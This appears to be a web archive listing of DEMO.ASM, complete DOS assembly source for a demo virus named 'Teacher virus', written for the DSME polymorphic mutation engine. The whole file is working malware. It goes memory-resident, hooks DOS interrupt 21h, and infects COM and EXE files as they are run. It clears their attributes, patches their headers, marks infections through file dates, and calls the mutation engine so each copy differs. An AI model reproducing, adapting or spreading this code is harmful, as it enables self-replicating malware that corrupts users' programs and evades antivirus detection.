home *** CD-ROM | disk | FTP | other *** search
/ Collection of Hack-Phreak Scene Programs / cleanhpvac.zip / cleanhpvac / SOURCE.ZIP / DSME10.ZIP / DEMO.ASM next >
Assembly Source File  |  1993-09-28  |  12KB  |  443 lines

  1. ; A DEMO VIRUS FOR DSME BY DARK SLAYER
  2.  
  3.  
  4. DEMO        SEGMENT
  5.             ASSUME  CS:DEMO,DS:DEMO
  6.             ORG     0000
  7.  
  8. VIR_LEN     EQU     OFFSET DSME_END
  9.  
  10.             EXTRN   DSME:NEAR,DSME_END:NEAR
  11.  
  12. START:      CALL    BEG
  13.  
  14. BEG         PROC
  15. BEG         ENDP
  16.  
  17.             POP     SI
  18.             SUB     SI,3
  19.             PUSH    CS
  20.             POP     DS
  21.             MOV     AX,4BDDH
  22.             INT     21H
  23.             CMP     AX,0DD4BH
  24.             JZ      RUN_OLD
  25.             MOV     PSP_1 + [SI],ES
  26.             MOV     PSP_2 + [SI],ES
  27.             MOV     PSP_3 + [SI],ES
  28.             MOV     BX,VIR_LEN
  29.             ADD     BX,SI
  30.             MOV     WORD PTR [BX],0A4F3H
  31.             MOV     BYTE PTR [BX+2],0CBH
  32.             XOR     DI,DI
  33.             MOV     AX,ES
  34.             ADD     AX,10H
  35.             MOV     ES,AX
  36.             MOV     CX,VIR_LEN
  37.             PUSH    ES
  38.             MOV     AX,OFFSET CON
  39.             PUSH    AX
  40.             CLD
  41.             JMP     BX
  42.  
  43. RUN_OLD:    CMP     FILE_MODE + [SI],0
  44.             JNZ     RUN_EXE
  45.             MOV     AX,COM_HEAD1 + [SI]
  46.             MOV     DS:[0100H],AX
  47.             MOV     AH,COM_HEAD2 + [SI]
  48.             MOV     DS:[0102H],AH
  49.             MOV     AX,0100H
  50.             PUSH    AX
  51.             RET
  52. RUN_EXE:    MOV     AX,ES
  53.             ADD     AX,10H
  54.             ADD     EXE_SS + [SI],AX
  55.             ADD     EXE_CS + [SI],AX
  56.             PUSH    ES
  57.             POP     DS
  58.             CLI
  59.             MOV     SS,CS:EXE_SS + [SI]
  60.             MOV     SP,CS:EXE_SP + [SI]
  61.             STI
  62.             JMP     DWORD PTR CS:EXE_IP + [SI]
  63.  
  64. RUN_OLD_M2: MOV     AX,CS
  65.             MOV     BX,VIR_LEN
  66.             ADD     BX,200H
  67.             CLI
  68.             MOV     SS,AX
  69.             MOV     SP,BX
  70.             STI
  71.             MOV     AH,4AH
  72.             MOV     BX,VIR_LEN
  73.             ADD     BX,BX
  74.             MOV     CL,4
  75.             SHR     BX,CL
  76.             ADD     BX,200H
  77.             MOV     ES,PSP_1
  78.             INT     21H
  79.             MOV     ES,ES:[2CH]
  80.             XOR     DI,DI
  81.             XOR     AX,AX
  82.             MOV     CX,0FFFFH
  83. GET_NAME:   REPNZ   SCASB
  84.             CMP     AL,ES:[DI]
  85.             LOOPNZ  GET_NAME
  86.             ADD     DI,3
  87.             MOV     RUN_DX,DI
  88.             MOV     RUN_DS,ES
  89.             PUSH    CS
  90.             POP     ES
  91.             MOV     AX,4B00H
  92.             MOV     BX,OFFSET PCB
  93.             LDS     DX,DWORD PTR CS:RUN_DX
  94.             INT     21H
  95.  
  96.             MOV     AH,4DH
  97.             INT     21H
  98.             MOV     AH,31H
  99.             MOV     DX,VIR_LEN
  100.             ADD     DX,DX
  101.             MOV     CL,4
  102.             SHR     DX,CL
  103.             ADD     DX,0A0H
  104.             INT     21H
  105.  
  106. CON:        PUSH    CS
  107.             POP     DS
  108.             MOV     AX,3521H
  109.             INT     21H
  110.             MOV     INT21_IP,BX
  111.             MOV     INT21_CS,ES
  112.             MOV     DX,OFFSET INT21
  113.             MOV     AX,2521H
  114.             INT     21H
  115.             JMP     RUN_OLD_M2
  116.  
  117. INT21_IP    DW      ?
  118. INT21_CS    DW      ?
  119. INT24_IP    DW      ?
  120. INT24_CS    DW      ?
  121. RUN_DX      DW      ?
  122. RUN_DS      DW      ?
  123. COM_HEAD1   DW      20CDH
  124. COM_HEAD2   DB      ?
  125.  
  126. EXE_HEAD    DW       ?
  127. EXE_02H     DW       ?
  128. EXE_04H     DW       ?
  129.             DW       ?
  130. EXE_08H     DW       ?
  131.             DW       2 DUP(?)
  132. EXE_SS      DW       ?
  133. EXE_SP      DW       ?
  134.             DW       ?
  135. EXE_IP      DW       ?
  136. EXE_CS      DW       ?
  137.  
  138. NEW_SIZE_L  DW       ?
  139. NEW_SIZE_H  DW       ?
  140.  
  141. PCB         DW       0
  142.             DW       80H
  143. PSP_1       DW       ?
  144.             DW       5CH
  145. PSP_2       DW       ?
  146.             DW       6CH
  147. PSP_3       DW       ?
  148.  
  149. PATH_DX     DW       ?
  150. PATH_DS     DW       ?
  151. DATE_CX     DW       ?
  152. DATE_DX     DW       ?
  153.  
  154. FILE_MODE   DB       0
  155. FILE_ATR    DW       ?
  156. FILE_LEN    DW       ?
  157.  
  158. POP_BUFFER  DW       ?
  159. VIR_BUFFER  DB       20H DUP (?)
  160.  
  161. SP_BUF      DW       ?
  162. SS_BUF      DW       ?
  163.  
  164. VIR_MSG     DB       'Teacher virus ( A demo virus for DSME to all teacher )'
  165.  
  166. INT21:      PUSHF
  167.             CLD
  168.             CALL     INF_PUSH
  169.             CMP      AX,4BDDH
  170.             JNZ      I21_CON
  171.             CALL     INF_POP
  172.             MOV      AX,0DD4BH
  173.             POPF
  174.             IRET
  175.  
  176. I21_CON:    CMP      AX,4B00H
  177.             JZ       I21_RUN
  178. I21_END:    CALL     INF_POP
  179.             POPF
  180.             JMP      DWORD PTR CS:INT21_IP
  181. I21_CLOSE:  MOV      AH,3EH
  182.             INT      21H
  183.             JMP      I21_END
  184. I21_RUN:    MOV      CS:PATH_DS,DS
  185.             MOV      CS:PATH_DX,DX
  186.             MOV      AX,3D00H
  187.             INT      21H
  188. I21_END_L1: JC       I21_END
  189.             XCHG     AX,BX
  190.             PUSH     CS
  191.             POP      DS
  192.             MOV      AX,5700H
  193.             INT      21H
  194.             CMP      DX,0C800H
  195.             JA       I21_CLOSE
  196.             MOV      DATE_CX,CX
  197.             MOV      DATE_DX,DX
  198.             MOV      AH,3FH
  199.             MOV      CX,3
  200.             MOV      DX,OFFSET COM_HEAD1
  201.             INT      21H
  202.             CMP      AX,CX
  203.             JNZ      I21_CLOSE
  204.             CMP      COM_HEAD1,4D5AH
  205.             JZ       SET_MODE
  206.             CMP      COM_HEAD1,5A4DH
  207.             JNZ      SET_M_COM
  208. SET_MODE:   MOV      FILE_MODE,1
  209.             MOV      AX,4200H
  210.             XOR      CX,CX
  211.             XOR      DX,DX
  212.             INT      21H
  213.             MOV      AH,3FH
  214.             MOV      CX,18H
  215.             MOV      DX,OFFSET EXE_HEAD
  216.             INT      21H
  217.             JMP      SHORT I21_OPEN
  218. SET_M_COM:  MOV      FILE_MODE,0
  219.             MOV      AX,4202H
  220.             XOR      CX,CX
  221.             XOR      DX,DX
  222.             INT      21H
  223.             OR       DX,DX
  224.             JNZ      I21_CLOSE
  225.             CMP      AX,0C000H
  226.             JA       I21_CLOSE
  227.             MOV      FILE_LEN,AX
  228. I21_OPEN:   MOV      AH,3EH
  229.             INT      21H
  230.             PUSH     PATH_DX
  231.             PUSH     PATH_DS
  232.             POP      DS
  233.             POP      DX
  234.             MOV      AX,4300H
  235.             INT      21H
  236.             JC       I21_END_L1
  237.             MOV      CS:FILE_ATR,CX
  238.             MOV      AX,4301H
  239.             XOR      CX,CX
  240.             INT      21H
  241.             MOV      AX,3D02H
  242.             INT      21H
  243.             JC       I21_END_L2
  244.             XCHG     AX,BX
  245.             PUSH     CS
  246.             POP      DS
  247.             PUSH     BX
  248.             MOV      AX,3524H
  249.             INT      21H
  250.             MOV      INT24_IP,BX
  251.             MOV      INT24_CS,ES
  252.             MOV      AX,2524H
  253.             MOV      DX,OFFSET INT24
  254.             INT      21H
  255.             POP      BX
  256.             CALL     WRITE
  257.             MOV      AH,3EH
  258.             INT      21H
  259.             MOV      AX,2524H
  260.             PUSH     INT24_IP
  261.             PUSH     INT24_CS
  262.             POP      DS
  263.             POP      DX
  264.             INT      21H
  265.             PUSH     CS:PATH_DX
  266.             PUSH     CS:PATH_DS
  267.             POP      DS
  268.             POP      DX
  269.             MOV      AX,4301H
  270.             MOV      CX,CS:FILE_ATR
  271.             INT      21H
  272. I21_END_L2: JMP      I21_END
  273.  
  274. INT24:      XOR      AL,AL
  275.             IRET
  276.  
  277. WRITE       PROC
  278.             MOV      SP_BUF,SP
  279.             MOV      SS_BUF,SS
  280.             MOV      AX,VIR_LEN + 5DCH
  281.             MOV      DX,CS
  282.             CLI
  283.             MOV      SS,DX
  284.             MOV      SP,AX
  285.             STI
  286.             CMP      FILE_MODE,0
  287.             JZ       WRITE_COM
  288.             JMP      SHORT WRITE_EXE
  289. WRITE_COM:  MOV      SI,OFFSET VIR_BUFFER
  290.             MOV      BYTE PTR [SI],0E9H
  291.             MOV      AX,FILE_LEN
  292.             PUSH     AX
  293.             SUB      AX,3
  294.             MOV      [SI+1],AX
  295.             MOV      AX,4200H
  296.             XOR      CX,CX
  297.             XOR      DX,DX
  298.             INT      21H
  299.             MOV      AH,40H
  300.             MOV      DX,SI
  301.             MOV      CX,3
  302.             INT      21H
  303.             MOV      AX,4202H
  304.             XOR      CX,CX
  305.             XOR      DX,DX
  306.             INT      21H
  307.             MOV      AX,VIR_LEN + 600H
  308.             MOV      DX,CS
  309.             MOV      CL,4
  310.             SHR      AX,CL
  311.             INC      AX
  312.             ADD      AX,DX
  313.             MOV      ES,AX
  314.             MOV      DX,OFFSET START
  315.             MOV      CX,VIR_LEN
  316.             POP      BP
  317.             ADD      BP,0100H
  318.             PUSH     BX
  319.             MOV      BL,0
  320.  
  321.             CALL     DSME
  322.  
  323.             POP      BX
  324.             MOV      AH,40H
  325.             INT      21H
  326.             PUSH     CS
  327.             POP      DS
  328.  
  329. SET_DATE:   MOV      AX,5701H
  330.             MOV      CX,DATE_CX
  331.             MOV      DX,DATE_DX
  332.             ADD      DX,0C800H
  333.             INT      21H
  334.             MOV      AX,SP_BUF
  335.             MOV      DX,SS_BUF
  336.             CLI
  337.             MOV      SS,DX
  338.             MOV      SP,AX
  339.             STI
  340.             RET
  341.  
  342. WRITE_EXE:  PUSH     CS
  343.             POP      ES
  344.             MOV      SI,OFFSET EXE_HEAD
  345.             MOV      DI,OFFSET VIR_BUFFER
  346.             MOV      CX,18H
  347.             REP      MOVSB
  348.             MOV      AX,4202H
  349.             XOR      CX,CX
  350.             XOR      DX,DX
  351.             INT      21H
  352.             ADD      AX,0FH
  353.             ADC      DX,0
  354.             AND      AX,0FFF0H
  355.             MOV      NEW_SIZE_L,AX
  356.             MOV      NEW_SIZE_H,DX
  357.             MOV      CX,10H
  358.             DIV      CX
  359.             MOV      DI,OFFSET VIR_BUFFER
  360.             SUB      AX,[DI+8]
  361.             MOV      [DI+16H],AX
  362.             MOV      [DI+0EH],AX
  363.             MOV      WORD PTR [DI+14H],0
  364.             MOV      [DI+10H],VIR_LEN + 400H
  365.             MOV      AX,4200H
  366.             MOV      DX,NEW_SIZE_L
  367.             MOV      CX,NEW_SIZE_H
  368.             INT      21H
  369.             MOV      AX,VIR_LEN + 600H
  370.             MOV      DX,CS
  371.             MOV      CL,4
  372.             SHR      AX,CL
  373.             INC      AX
  374.             ADD      AX,DX
  375.             MOV      ES,AX
  376.             MOV      DX,OFFSET START
  377.             MOV      CX,VIR_LEN
  378.             MOV      BP,0
  379.             PUSH     BX
  380.             MOV      BL,1
  381.  
  382.             CALL     DSME
  383.  
  384.             POP      BX
  385.             MOV      AH,40H
  386.             INT      21H
  387.             PUSH     CS
  388.             POP      DS
  389.  
  390.             MOV      AX,NEW_SIZE_L
  391.             MOV      DX,NEW_SIZE_H
  392.             ADD      AX,CX
  393.             ADC      DX,0
  394.             MOV      CX,200H
  395.             MOV      DI,OFFSET VIR_BUFFER
  396.             DIV      CX
  397.             OR       DX,DX
  398.             JZ       GET_NEW
  399.             INC      AX
  400. GET_NEW:    MOV      [DI+4],AX
  401.             MOV      [DI+2],DX
  402.             MOV      AX,4200H
  403.             XOR      CX,CX
  404.             XOR      DX,DX
  405.             INT      21H
  406.             MOV      AH,40H
  407.             MOV      CX,18H
  408.             MOV      DX,DI
  409.             INT      21H
  410.             JMP      SET_DATE
  411. WRITE       ENDP
  412.  
  413. INF_PUSH    PROC
  414.             POP      CS:POP_BUFFER
  415.             PUSH     AX
  416.             PUSH     BX
  417.             PUSH     CX
  418.             PUSH     DX
  419.             PUSH     SI
  420.             PUSH     DI
  421.             PUSH     BP
  422.             PUSH     DS
  423.             PUSH     ES
  424.             JMP      CS:POP_BUFFER
  425. INF_PUSH    ENDP
  426.  
  427. INF_POP     PROC
  428.             POP      CS:POP_BUFFER
  429.             POP      ES
  430.             POP      DS
  431.             POP      BP
  432.             POP      DI
  433.             POP      SI
  434.             POP      DX
  435.             POP      CX
  436.             POP      BX
  437.             POP      AX
  438.             JMP      CS:POP_BUFFER
  439. INF_POP     ENDP
  440.  
  441. DEMO        ENDS
  442.             END     START
  443.